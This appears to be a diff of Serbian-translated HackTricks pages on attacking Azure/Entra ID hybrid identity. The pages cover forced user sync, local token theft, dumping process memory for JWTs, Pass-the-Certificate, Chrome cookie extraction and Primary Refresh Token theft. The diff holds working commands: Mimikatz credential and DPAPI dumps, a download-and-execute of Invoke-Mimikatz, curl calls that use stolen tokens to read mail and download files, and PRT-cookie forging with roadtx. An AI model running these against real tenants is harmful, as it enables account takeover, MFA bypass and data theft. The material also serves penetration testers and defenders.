Da biste dobili **privatni ključ**, potreban je pristup **AD FS korisničkom nalogu**. Odatle, privatni ključ se može **izvesti iz lične biblioteke** koristeći alate kao što je [mimikatz](https://github.com/gentilkiwi/mimikatz). Da biste prikupili druge potrebne informacije, možete koristiti Microsoft.Adfs.Powershell snapin na sledeći način, osiguravajući da ste prijavljeni kao ADFS korisnik:
|
||||
```bash
|
||||
# From an "AD FS" session
|
||||
# After having exported the key with mimikatz
|
||||
@@ -1,13 +1,13 @@
|
||||
# Hibridni identitet razne napade
|
||||
# Hibridni identitet Različiti napadi
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Prisilna sinhronizacija Entra ID korisnika sa on-prem
|
||||
## Prisiljavanje sinhronizacije Entra ID korisnika sa on-prem
|
||||
|
||||
Kao što je pomenuto u [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg), bilo je moguće promeniti vrednost **`ProxyAddress`** unutar AD korisnika u on-prem AD dodajući email Entra ID admin korisnika i takođe osigurati da se UPN korisnika u AD i u Entra ID poklapaju (ovo je ponovo Entra ID), kao **`SMTP:admin@domain.onmicrosoft.com`**. I ovo bi **prisililo sinhronizaciju ovog korisnika** iz Entra ID u on-prem AD, tako da ako je lozinka korisnika bila poznata, mogla bi se koristiti za **pristup adminu korišćenom u Entra ID.**
|
||||
|
||||
Da bi se sinhronizovao novi korisnik iz Entra ID u on-prem AD, ovo su zahtevi, jedini zahtevi su:
|
||||
Da bi se sinhronizovao novi korisnik iz Entra ID u on-prem AD, zahtevi su sledeći:
|
||||
|
||||
- Kontrolisati atribute korisnika u on-prem AD (ili imati dozvole za kreiranje novih korisnika)
|
||||
- Poznavati korisnika koji je samo u cloudu da bi se sinhronizovao iz Entra ID u on-prem AD
|
||||
@@ -1,10 +1,10 @@
|
||||
# Az - Lokalne Cloud Akreditivi
|
||||
# Az - Lokalni Cloud Akreditivi
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Lokalna Pohrana Tokena i Bezbednosne Preporuke
|
||||
## Lokalna Pohrana Tokena i Bezbednosne Razmatranja
|
||||
|
||||
### Azure CLI (Interfejs za komandnu liniju)
|
||||
### Azure CLI (Interfejs Komandne Linije)
|
||||
|
||||
Tokeni i osetljivi podaci se lokalno čuvaju od strane Azure CLI, što izaziva bezbednosne brige:
|
||||
|
||||
@@ -12,7 +12,7 @@ Tokeni i osetljivi podaci se lokalno čuvaju od strane Azure CLI, što izaziva b
|
||||
2. **Informacije o Pretplati**: `azureProfile.json`, u istoj direktoriji, sadrži detalje o pretplati.
|
||||
3. **Log Fajlovi**: Folder `ErrorRecords` unutar `.azure` može sadržati logove sa izloženim akreditivima, kao što su:
|
||||
- Izvršene komande sa ugrađenim akreditivima.
|
||||
- URL-ovi pristupljeni korišćenjem tokena, što može otkriti osetljive informacije.
|
||||
- URL-ovi kojima se pristupalo koristeći tokene, potencijalno otkrivajući osetljive informacije.
|
||||
|
||||
### Azure PowerShell
|
||||
|
||||
@@ -22,18 +22,38 @@ Azure PowerShell takođe čuva tokene i osetljive podatke, koji se mogu lokalno
|
||||
2. **Tajni Ključevi Servisnog Principala**: Ovi se čuvaju nešifrovani u `AzureRmContext.json`.
|
||||
3. **Funkcija Čuvanja Tokena**: Korisnici imaju mogućnost da trajno sačuvaju tokene koristeći komandu `Save-AzContext`, koja treba da se koristi oprezno kako bi se sprečio neovlašćen pristup.
|
||||
|
||||
## Automatski Alati za Pronalaženje
|
||||
### Automatski Alati za Pronalaženje
|
||||
|
||||
- [**Winpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS/winPEASexe)
|
||||
- [**Get-AzurePasswords.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/AzureRM/Get-AzurePasswords.ps1)
|
||||
|
||||
## Bezbednosne Preporuke
|
||||
## Tokeni u Memoriji
|
||||
|
||||
Uzimajući u obzir pohranu osetljivih podataka u običnom tekstu, ključno je osigurati ove fajlove i direktorijume:
|
||||
Kao što je objašnjeno u [**ovom videu**](https://www.youtube.com/watch?v=OHKZkXC4Duw), neki Microsoft softveri sinhronizovani sa cloud-om (Excel, Teams...) mogu **čuvati pristupne tokene u običnom tekstu u memoriji**. Tako da samo **dumpovanje** **memorije** procesa i **grepovanje za JWT tokene** može vam omogućiti pristup raznim resursima žrtve u cloud-u, zaobilazeći MFA.
|
||||
|
||||
- Ograničiti prava pristupa ovim fajlovima.
|
||||
- Redovno pratiti i revizirati ove direktorijume zbog neovlašćenog pristupa ili neočekivanih promena.
|
||||
- Primenjivati šifrovanje za osetljive fajlove gde je to moguće.
|
||||
- Obrazovati korisnike o rizicima i najboljim praksama za rukovanje takvim osetljivim informacijama.
|
||||
Koraci:
|
||||
|
||||
1. Dumpujte excel procese sinhronizovane sa EntraID korisnikom koristeći vaš omiljeni alat.
|
||||
2. Pokrenite: `string excel.dmp | grep 'eyJ0'` i pronađite nekoliko tokena u izlazu.
|
||||
3. Pronađite tokene koji vas najviše zanimaju i pokrenite alate nad njima:
|
||||
```bash
|
||||
# Check the identity of the token
|
||||
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq
|
||||
|
||||
# Check the email (you need a token authorized in login.microsoftonline.com)
|
||||
curl -s -H "Authorization: Bearer <token>" https://outlook.office.com/api/v2.0/me/messages | jq
|
||||
|
||||
# Download a file from Teams
|
||||
## You need a token that can access graph.microsoft.com
|
||||
## Then, find the <site_id> inside the memory and call
|
||||
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/sites/<site_id>/drives | jq
|
||||
|
||||
## Then, list one drive
|
||||
curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sites/<site_id>/drives/<drive_id>' | jq
|
||||
|
||||
## Finally, download a file from that drive:
|
||||
curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'
|
||||
```
|
||||
**Napomena da se ovi tipovi pristupnih tokena mogu naći i unutar drugih procesa.**
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Pass the Certificate (Azure)
|
||||
|
||||
Na Azure povezanim mašinama, moguće je autentifikovati se sa jedne mašine na drugu koristeći sertifikate koji **moraju biti izdati od strane Entra ID CA** za potrebnog korisnika (kao subjekat) kada obe mašine podržavaju **NegoEx** mehanizam autentifikacije.
|
||||
Na mašinama pridruženim Azure-u, moguće je autentifikovati se sa jedne mašine na drugu koristeći sertifikate koji **moraju biti izdati od strane Entra ID CA** za potrebnog korisnika (kao subjekat) kada obe mašine podržavaju **NegoEx** mehanizam autentifikacije.
|
||||
|
||||
U super pojednostavljenim terminima:
|
||||
|
||||
@@ -12,7 +12,7 @@ U super pojednostavljenim terminima:
|
||||
- Klijent kreira JSON Web Token (JWT) zaglavlje koje sadrži PRT i druge detalje, potpisuje ga koristeći Izvedeni ključ (koristeći sesijski ključ i bezbednosni kontekst) i **šalje ga Entra ID**
|
||||
- Entra ID verifikuje JWT potpis koristeći sesijski ključ klijenta i bezbednosni kontekst, proverava validnost PRT i **odgovara** sa **sertifikatom**.
|
||||
|
||||
U ovom scenariju i nakon prikupljanja svih potrebnih informacija za [**Pass the PRT**](pass-the-prt.md) napad:
|
||||
U ovom scenariju i nakon prikupljanja svih informacija potrebnih za [**Pass the PRT**](az-primary-refresh-token-prt.md) napad:
|
||||
|
||||
- Korisničko ime
|
||||
- Tenant ID
|
||||
@@ -20,15 +20,15 @@ U ovom scenariju i nakon prikupljanja svih potrebnih informacija za [**Pass the
|
||||
- Bezbednosni kontekst
|
||||
- Izvedeni ključ
|
||||
|
||||
Moguće je **zatražiti P2P sertifikat** za korisnika sa alatom [**PrtToCert**](https://github.com/morRubin/PrtToCert)**:**
|
||||
Moguće je **zatražiti P2P sertifikat** za korisnika pomoću alata [**PrtToCert**](https://github.com/morRubin/PrtToCert)**:**
|
||||
```bash
|
||||
RequestCert.py [-h] --tenantId TENANTID --prt PRT --userName USERNAME --hexCtx HEXCTX --hexDerivedKey HEXDERIVEDKEY [--passPhrase PASSPHRASE]
|
||||
```
|
||||
Sertifikati će trajati isto kao i PRT. Da biste koristili sertifikat, možete koristiti python alat [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC) koji će **autentifikovati** na udaljenoj mašini, pokrenuti **PSEXEC** i **otvoriti CMD** na žrtvovoj mašini. Ovo će nam omogućiti da ponovo koristimo Mimikatz da bismo dobili PRT drugog korisnika.
|
||||
Sertifikati će trajati isto kao i PRT. Da biste koristili sertifikat, možete koristiti python alat [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC) koji će **autentifikovati** na udaljenoj mašini, pokrenuti **PSEXEC** i **otvoriti CMD** na žrtvinoj mašini. Ovo će nam omogućiti da ponovo koristimo Mimikatz da bismo dobili PRT drugog korisnika.
|
||||
```bash
|
||||
Main.py [-h] --usercert USERCERT --certpass CERTPASS --remoteip REMOTEIP
|
||||
```
|
||||
## References
|
||||
## Reference
|
||||
|
||||
- Za više detalja o tome kako Pass the Certificate funkcioniše, pogledajte originalni post [https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597](https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597)
|
||||
|
||||
|
||||
@@ -20,7 +20,7 @@ Izazovan deo je to što su ti **kolačići enkriptovani** za **korisnika** putem
|
||||
https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html
|
||||
{{#endref}}
|
||||
|
||||
Sa Mimikatz u ruci, mogu **izvući korisničke kolačiće** iako su enkriptovani ovom komandom:
|
||||
Sa Mimikatz u ruci, mogu **izvući korisničke kolačiće** čak iako su enkriptovani ovom komandom:
|
||||
```bash
|
||||
mimikatz.exe privilege::debug log "dpapi::chrome /in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect" exit
|
||||
```
|
||||
|
||||
@@ -4,9 +4,9 @@
|
||||
|
||||
## Šta je Primary Refresh Token (PRT)?
|
||||
|
||||
**Primary Refresh Token (PRT)** je dugotrajni refresh token koji se koristi u Azure AD (Entra ID) autentifikaciji, analogan Kerberos TGT-u. Izdaje se prilikom prijave korisnika na uređaju povezanom sa Azure AD i može se koristiti za zahtevanje pristupnih tokena za razne aplikacije bez ponovnog traženja kredencijala. Svaki PRT je praćen **session key** (takođe nazvan Proof-of-Possession key) -- simetričnim ključem koji se koristi za potpisivanje zahteva i dokazivanje da klijent ima PRT. Sam PRT je neprozirna, enkriptovana blob (nečitljiva od strane klijenta), dok se session key koristi za **potpisivanje** JWT-a koji sadrži PRT prilikom zahteva za tokenima. Drugim rečima, posedovanje PRT-a samo po sebi nije dovoljno; napadač treba session key da bi dokazao legitimnost, slično kao što su potrebni i Kerberos TGT i njegov session key za autentifikaciju.
|
||||
**Primary Refresh Token (PRT)** je dugotrajni refresh token koji se koristi u Azure AD (Entra ID) autentifikaciji, analogan Kerberos TGT-u. Izdaje se prilikom prijave korisnika na uređaju povezanom sa Azure AD i može se koristiti za zahtevanje pristupnih tokena za razne aplikacije bez ponovnog traženja kredencijala. Svaki PRT je praćen **session key** (takođe nazvan Proof-of-Possession key) -- simetričnim ključem koji se koristi za potpisivanje zahteva i dokazivanje da klijent ima PRT. Sam PRT je neprozirni, enkriptovani blob (nečitljiv od strane klijenta), dok se session key koristi za **potpisivanje** JWT-a koji sadrži PRT prilikom zahteva za tokenima. Drugim rečima, posedovanje PRT-a samo po sebi nije dovoljno; napadač treba session key da bi dokazao legitimnost, slično kao što su potrebni i Kerberos TGT i njegov session key za autentifikaciju.
|
||||
|
||||
Na Windows-u, PRT i session key se keširaju u LSASS procesu putem CloudAP plugina. Ako uređaj ima **TPM** (Trusted Platform Module), Azure AD vezuje ključeve za TPM radi dodatne sigurnosti. To znači da se na uređajima opremljenim TPM-om session key čuva ili koristi unutar TPM-a tako da ne može biti direktno pročitan iz memorije pod normalnim okolnostima. Ako TPM nije dostupan (npr. mnoge VM-ove ili stariji sistemi), ključevi se čuvaju u softveru i zaštićeni su DPAPI enkripcijom. U oba slučaja, napadač sa administratorskim privilegijama ili izvršavanjem koda na mašini može pokušati da **izvuče PRT i session key iz memorije** kao deo post-exploitation-a, a zatim ih koristiti za impersonaciju korisnika u oblaku.
|
||||
Na Windows-u, PRT i session key se keširaju u LSASS procesu putem CloudAP plugina. Ako uređaj ima **TPM** (Trusted Platform Module), Azure AD vezuje ključeve za TPM radi dodatne sigurnosti. To znači da se na uređajima opremljenim TPM-om session key čuva ili koristi unutar TPM-a tako da ne može biti direktno pročitan iz memorije pod normalnim okolnostima. Ako TPM nije dostupan (npr. mnoge VM-ove ili starije sisteme), ključevi se čuvaju u softveru i zaštićeni su DPAPI enkripcijom. U oba slučaja, napadač sa administratorskim privilegijama ili izvršavanjem koda na mašini može pokušati da **izbaci PRT i session key iz memorije** kao deo post-exploitation-a, a zatim ih koristiti za impersonaciju korisnika u oblaku.
|
||||
Za razliku od tipičnih refresh tokena (koji su obično specifični za aplikaciju), PRT je širi, omogućavajući vašem uređaju da zahteva tokene za gotovo svaki Entra ID-integrisani resurs ili uslugu.
|
||||
|
||||
## Kako funkcioniše PRT?
|
||||
@@ -39,9 +39,9 @@ Evo pojednostavljenog pregleda kako PRT funkcioniše:
|
||||
|
||||
- **Univerzalni pristup:** Za razliku od tipičnih tokena koji su ograničeni na jednu aplikaciju ili resurs, PRT može olakšati pristup svim Entra ID-integrisanim uslugama.
|
||||
|
||||
- **Povećana sigurnost:** Sa ugrađenim hardverskim zaštitama (poput TPM), PRT-ovi osiguravaju sigurno skladištenje i korišćenje tokena.
|
||||
- **Poboljšana sigurnost:** Sa ugrađenim hardverskim zaštitama (poput TPM), PRT-ovi osiguravaju sigurno skladištenje i korišćenje tokena.
|
||||
|
||||
- **Korisničko iskustvo:** PRT-ovi značajno poboljšavaju korisničko iskustvo smanjenjem učestalih zahteva za autentifikaciju i omogućavanjem pravog besprekornog SSO.
|
||||
- **Korisničko iskustvo:** PRT-ovi značajno poboljšavaju korisničko iskustvo smanjenjem učestalih zahteva za autentifikaciju i omogućavanjem pravog besprekornog SSO-a.
|
||||
|
||||
## Kako znati da li je PRT prisutan?
|
||||
|
||||
@@ -62,14 +62,22 @@ dsregcmd /status
|
||||
# KeyProvider = Software Key Storage Provider ⇒ not TPM‑bound.
|
||||
# Some builds also show TpmProtected: YES/NO and KeySignTest (run elevated to test).
|
||||
```
|
||||
## Dump and user unprotected PRTs
|
||||
## Proći PRT
|
||||
|
||||
Prema [ovom postu](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) na Windows uređajima **bez TPM vezivanja**, PRT i njegov sesijski ključ se nalaze u LSASS (CloudAP dodatak). Sa lokalnim admin/SYSTEM na tom uređaju, PRT blob i DPAPI-kriptovani sesijski ključ mogu se **pročitati iz LSASS, sesijski ključ dekriptovati putem DPAPI, i potpisni ključ izvesti** da bi se stvorio važeći PRT kolačić (`x‑ms‑RefreshTokenCredential`). Potrebni su vam i PRT i njegov sesijski ključ—sama PRT string nije dovoljna.
|
||||
Prema [ovom postu](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) na Windows uređajima **bez TPM vezivanja**, PRT i njegov sesijski ključ se nalaze u LSASS (CloudAP dodatak). Sa lokalnim administratorom/SYSTEM na tom uređaju, PRT blob i DPAPI-šifrovani sesijski ključ mogu se **pročitati iz LSASS-a, sesijski ključ dešifrovati putem DPAPI, i potpisni ključ izvesti** da bi se stvorio važeći PRT kolačić (`x‑ms‑RefreshTokenCredential`). Potrebni su vam i PRT i njegov sesijski ključ—sama PRT string nije dovoljna.
|
||||
|
||||
### Mimikatz
|
||||
|
||||
1. **PRT (Primarni osvežavajući token) se izvlači iz LSASS-a** (Servis podsystema lokalne bezbednosti) i čuva za kasniju upotrebu.
|
||||
2. **Sesijski ključ se zatim izvlači**. S obzirom na to da se ovaj ključ prvobitno izdaje i zatim ponovo šifruje od strane lokalnog uređaja, neophodno je dešifrovanje pomoću DPAPI masterključa. Detaljne informacije o DPAPI (API za zaštitu podataka) mogu se naći u ovim resursima: [HackTricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) a za razumevanje njegove primene, pogledajte [Napad na kolačić](az-pass-the-cookie.md).
|
||||
3. Nakon dešifrovanja sesijskog ključa, **izvedeni ključ i kontekst za PRT se dobijaju**. Ovi su ključni za **kreiranje PRT kolačića**. Konkretno, izvedeni ključ se koristi za potpisivanje JWT (JSON Web Token) koji čini kolačić. Sveobuhvatno objašnjenje ovog procesa je pružio Dirk-jan, dostupno [ovde](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/).
|
||||
```bash
|
||||
privilege::debug
|
||||
sekurlsa::cloudap
|
||||
|
||||
# Or in powershell
|
||||
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
|
||||
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
|
||||
```
|
||||
**PRT field** sadrži enkriptovani refresh token (obično base64 string), a KeyValue u ProofOfPossessionKey je DPAPI-enkriptovani sesijski ključ (takođe base64).
|
||||
|
||||
@@ -79,15 +87,17 @@ Pošto DPAPI enkripcija za sistemske tajne zahteva sistemski kontekst mašine, p
|
||||
```bash
|
||||
token::elevate
|
||||
dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
|
||||
|
||||
# PowerShell version
|
||||
Invoke-Mimikatz -Command '"token::elevate" "dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect"'
|
||||
```
|
||||
`token::elevate` će se pretvarati da je SYSTEM, a komanda `dpapi::cloudapkd` sa `/unprotect` će koristiti DPAPI master ključ za dekriptovanje datog KeyValue blob-a. Ovo daje ključ sesije u čistom tekstu, kao i povezani Derived Key i Context koji se koriste za potpisivanje:
|
||||
`token::elevate` će imitirati SYSTEM, a komanda `dpapi::cloudapkd` sa `/unprotect` će koristiti DPAPI master ključ za dekriptovanje datog KeyValue blob-a. Ovo daje ključ sesije u čistom tekstu, kao i povezani Derived Key i Context koji se koriste za potpisivanje:
|
||||
- **Clear key** – 32-bajtni ključ sesije u čistom tekstu (predstavljen kao heksadecimalni string).
|
||||
- **Derived Key** – 32-bajtni ključ izveden iz ključa sesije i vrednosti konteksta (više o ovome u nastavku).
|
||||
- **Context** – 24-bajtni nasumični kontekst koji je korišćen prilikom izvođenja ključa za potpisivanje za PRT kolačić.
|
||||
|
||||
- **Context** – 24-bajtni nasumični kontekst koji je korišćen prilikom dobijanja ključa za potpisivanje za PRT kolačić.
|
||||
|
||||
> [!NOTE]
|
||||
> Ako ovo ne funkcioniše za vas da se pretvarate da ste korisnik, proverite sledeću sekciju koristeći **`AADInternals`**.
|
||||
> Ako ovo ne funkcioniše za vas da imitira korisnika, proverite sledeću sekciju koristeći **`AADInternals`**.
|
||||
|
||||
Zatim, možete koristiti i mimikatz za generisanje validnog PRT kolačića:
|
||||
```bash
|
||||
@@ -96,14 +106,13 @@ Zatim, možete koristiti i mimikatz za generisanje validnog PRT kolačića:
|
||||
# PRT is obtained from sekurlsa::cloudap (filed "Prt"
|
||||
dpapi::cloudapkd /context:<ContextHex> /derivedkey:<DerivedKeyHex> /prt:<PRT>
|
||||
```
|
||||
Mimikatz će ispisati potpisani JWT ( `PRT cookie` ) nakon linije “Signature with key”, koji sadrži PRT i potpisan je korišćenjem dobijenog ključa. Ovaj JWT se može kopirati i zatim koristiti u web sesiji. Na primer, napadač može otvoriti pregledač, otići na `login.microsoftonline.com`, i postaviti kolačić nazvan `x-ms-RefreshTokenCredential` sa vrednošću ovog JWT-a. Kada se pregledač osveži ili navigira, Azure AD će tretirati sesiju kao autentifikovanu (PRT kolačić se prikazuje kao da je došlo do SSO), i izdaće autorizacioni kod ili pristupni token za određeni resurs. U praksi, korisnik bi navigirao do resursa kao što su Office 365 ili Azure portal; prisustvo validnog PRT kolačića znači da će Azure AD omogućiti pristup bez dodatnog prijavljivanja (zaobilazeći MFA, pošto je PRT već autentifikovan).
|
||||
Mimikatz će ispisati potpisani JWT ( `PRT cookie` ) nakon linije “Signature with key”, koji sadrži PRT i potpisan je korišćenjem dobijenog ključa. Ovaj JWT se može kopirati i zatim koristiti u web sesiji. Na primer, napadač može otvoriti pregledač, otići na `login.microsoftonline.com`, i postaviti kolačić nazvan `x-ms-RefreshTokenCredential` sa vrednošću ovog JWT-a. Kada se pregledač osveži ili navigira, Azure AD će tretirati sesiju kao autentifikovanu (PRT kolačić se prikazuje kao da je došlo do SSO), i izdaće autorizacioni kod ili pristupni token za određeni resurs. U praksi, korisnik bi navigirao do resursa kao što su Office 365 ili Azure portal; prisustvo validnog PRT kolačića znači da će Azure AD omogućiti pristup bez dodatnog prijavljivanja (obići MFA, pošto je PRT već autentifikovan).
|
||||
|
||||
Takođe možete koristiti **`roadtx`** i **`roadrecon`** sa PRT-om PRT kolačića da biste se pretvarali da ste korisnik *(TODO: Pronaći tačne komande za korišćenje roadtx/roadrecon za dobijanje kredencijala iz PRT-a)*.
|
||||
|
||||
### Mimikatz + AADInternals
|
||||
|
||||
### AADInternals
|
||||
|
||||
**`AADInternals`** PowerShell modul se takođe može koristiti sa prethodno dobijenim PRT-om i sesijskim ključem za generisanje validnog PRT tokena. Ovo je korisno za automatizaciju procesa dobijanja novog PRT tokena sa nonce-om, koji se može koristiti za dobijanje pristupnih tokena za Azure AD Graph API ili druge resurse:
|
||||
**`AADInternals`** PowerShell modul se takođe može koristiti sa prethodno dobijenim PRT-om i ključem sesije za generisanje validnog PRT tokena. Ovo je korisno za automatizaciju procesa dobijanja novog PRT tokena sa nonce-om, koji se može koristiti za dobijanje pristupnih tokena za Azure AD Graph API ili druge resurse:
|
||||
```bash
|
||||
# Code from https://aadinternals.com/post/prt/
|
||||
# Add the PRT to a variable
|
||||
@@ -127,31 +136,50 @@ $prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey
|
||||
# Get an access token for MS Graph API
|
||||
Get-AADIntAccessTokenForMSGraph -PRTToken $prtToken
|
||||
```
|
||||
This obtains a fresh PRT cookie (with a nonce) and then uses it to fetch an access token for the Azure AD Graph API(demonstrating cloud access on behalf of the user). AADInternals abstracts much of the cryptography and uses Windows components or its own logic under the hood.
|
||||
Ovo dobija svež PRT kolačić (sa nonce-om) i zatim ga koristi za dobijanje pristupnog tokena za Azure AD Graph API (demonstrirajući pristup u oblaku u ime korisnika). AADInternals apstrahuje većinu kriptografije i koristi Windows komponente ili svoju logiku u pozadini.
|
||||
|
||||
## Abusing protected PRTs
|
||||
### Mimikatz + roadtx
|
||||
|
||||
Despite the mentioned protections, an attacker who has already compromised a device (as a local user or even SYSTEM) can still **abuse the PRT to obtain fresh access tokens** by leveraging Windows' own token broker APIs and security components. Instead of **extracting** the raw PRT or key, the attacker essentially **"asks" Windows to use the PRT on their behalf**. In the sections below, we outline currently valid techniques for abusing PRTs and their session keys on up-to-date Windows devices where TPM protections are in effect. All these techniques assume post-exploitation access on the target machine, and **focus on abusing built-in authentication flows** (no unpatched vulnerabilities needed).
|
||||
- Prvo obnovite PRT, koji će ga sačuvati u `roadtx.prt`:
|
||||
```bash
|
||||
roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
|
||||
```
|
||||
- Sada možemo **zatražiti tokene** koristeći interaktivni pregledač sa `roadtx browserprtauth`. Ako koristimo komandu `roadtx describe`, vidimo da pristupni token uključuje MFA tvrdnju jer je PRT koji sam koristio u ovom slučaju takođe imao MFA tvrdnju.
|
||||
```bash
|
||||
roadtx browserprtauth
|
||||
roadtx describe < .roadtools_auth
|
||||
```
|
||||
<figure><img src="../../../images/image (44).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Windows Token Broker Architecture and SSO Flow
|
||||
#### Mimikatz + roadrecon
|
||||
|
||||
Modern Windows handles cloud authentication via a built-in **token broker** stack, which includes components in both user mode and LSASS (Local Security Authority). Key pieces of this architecture include:
|
||||
Imajući kontekst i izvučeni ključ koji je dumpovao mimikatz, moguće je koristiti roadrecon za generisanje novog potpisanog kolačića sa:
|
||||
```bash
|
||||
roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>
|
||||
```
|
||||
## Zloupotreba zaštićenih PRT-ova
|
||||
|
||||
- **LSASS CloudAP Plugin:** When a device is Azure AD joined, LSASS loads cloud authentication packages (e.g. `CloudAP.dll`, `aadcloudap.dll`, `MicrosoftAccountCloudAP.dll`) that manage PRTs and token requests. LSASS (running as SYSTEM) orchestrates PRT storage, renewal, and usage, and interfaces with the TPM to perform cryptographic operations (like signing a PRT challenge with the session key).
|
||||
Uprkos pomenutim zaštitama, napadač koji je već kompromitovao uređaj (kao lokalni korisnik ili čak SYSTEM) može i dalje **zloupotrebiti PRT da dobije sveže pristupne tokene** koristeći Windows-ove vlastite API-je i bezbednosne komponente za tokene. Umesto da **izvlači** sirovi PRT ili ključ, napadač suštinski **"traži" od Windows-a da koristi PRT u njihovo ime**. U sledećim odeljcima, izlažemo trenutno važeće tehnike za zloupotrebu PRT-ova i njihovih sesijskih ključeva na ažuriranim Windows uređajima gde su TPM zaštite na snazi. Sve ove tehnike pretpostavljaju post-eksploatacioni pristup na ciljanom računaru i **fokusiraju se na zloupotrebu ugrađenih autentifikacionih tokova** (nema potrebnih neispravljenih ranjivosti).
|
||||
|
||||
- **Web Account Manager (WAM):** The Windows Web Account Manager is a user-mode framework (accessible via COM/WinRT APIs) that allows applications or browsers to request tokens for cloud accounts without prompting for credentials. WAM acts as a broker between user applications and the secure LSASS/TPM-backed PRT. For example, Microsoft's MSAL library and certain OS components use WAM to silently acquire tokens using the logged-in user's PRT.
|
||||
### Arhitektura Windows Token Brokera i SSO Tok
|
||||
|
||||
- **BrowserCore.exe and Token Broker COM interfaces:** For browser SSO, Windows includes a component called **BrowserCore.exe** (located under *Windows Security\BrowserCore*). This is a native messaging host used by browsers (Edge, Chrome via an extension, etc.) to obtain a PRT-derived SSO token for Azure AD login. Under the hood, BrowserCore leverages a COM object provided by `MicrosoftAccountTokenProvider.dll` to retrieve a PRT-based cookie/token. In essence, this COM interface is a first-party "token broker" API that any process running as the user can obscall to get an SSO token (provided the user has a valid PRT in LSASS).
|
||||
Savremeni Windows upravlja cloud autentifikacijom putem ugrađene **token broker** arhitekture, koja uključuje komponente u režimu korisnika i LSASS (Local Security Authority). Ključni delovi ove arhitekture uključuju:
|
||||
|
||||
When an Azure AD joined user tries to access a resource (say, the Azure Portal), the flow is typically: an application calls into WAM or BrowserCore's COM interface, which in turn communicates with LSASS. LSASS uses the PRT and session key (secured by TPM) to produce an **SSO token** -- often called a **PRT cookie** -- which is then given back to the application or browser. The PRT cookie is a special JWT containing the encrypted PRT and a nonce, signed with a key derived from the PRT's session key. This cookie is sent to Azure AD (in an `x-ms-RefreshTokenCredential` header) to prove the device and user hold a valid PRT, allowing Azure AD to issue standard OAuth refresh and access tokens for various applications. Notably, any Multi-Factor Authentication (MFA) claim present in the PRT will be carried into tokens obtained via this SSO process, meaning PRT-derived tokens can satisfy MFA-protected resources.
|
||||
- **LSASS CloudAP Plugin:** Kada je uređaj povezan sa Azure AD, LSASS učitava pakete za cloud autentifikaciju (npr. `CloudAP.dll`, `aadcloudap.dll`, `MicrosoftAccountCloudAP.dll`) koji upravljaju PRT-ovima i zahtevima za tokene. LSASS (koji radi kao SYSTEM) orchestrira skladištenje, obnavljanje i korišćenje PRT-a, i komunicira sa TPM-om da izvrši kriptografske operacije (poput potpisivanja PRT izazova sa sesijskim ključem).
|
||||
|
||||
### User-Level Token Theft (Non-Admin)
|
||||
- **Web Account Manager (WAM):** Windows Web Account Manager je okvir u režimu korisnika (dostupan putem COM/WinRT API-ja) koji omogućava aplikacijama ili pretraživačima da traže tokene za cloud naloge bez traženja kredencijala. WAM deluje kao posrednik između korisničkih aplikacija i sigurnog LSASS/TPM podržanog PRT-a. Na primer, Microsoftova MSAL biblioteka i određene komponente OS-a koriste WAM da tiho dobiju tokene koristeći PRT prijavljenog korisnika.
|
||||
|
||||
When an attacker has **user-level code execution**, the TPM protection of PRT doesn't stop the attacker from obtaining tokens. The attacker **leverages built-in Windows Token Broker APIs**:
|
||||
- **BrowserCore.exe i Token Broker COM interfejsi:** Za SSO u pretraživaču, Windows uključuje komponentu pod nazivom **BrowserCore.exe** (nalazi se pod *Windows Security\BrowserCore*). Ovo je domaći host za poruke koji koriste pretraživači (Edge, Chrome putem ekstenzije, itd.) da dobiju SSO token izveden iz PRT-a za Azure AD prijavu. U pozadini, BrowserCore koristi COM objekat koji pruža `MicrosoftAccountTokenProvider.dll` da preuzme kolačić/token zasnovan na PRT-u. U suštini, ovaj COM interfejs je API "token brokera" prvog lica koji bilo koji proces koji radi kao korisnik može pozvati da dobije SSO token (pod uslovom da korisnik ima važeći PRT u LSASS-u).
|
||||
|
||||
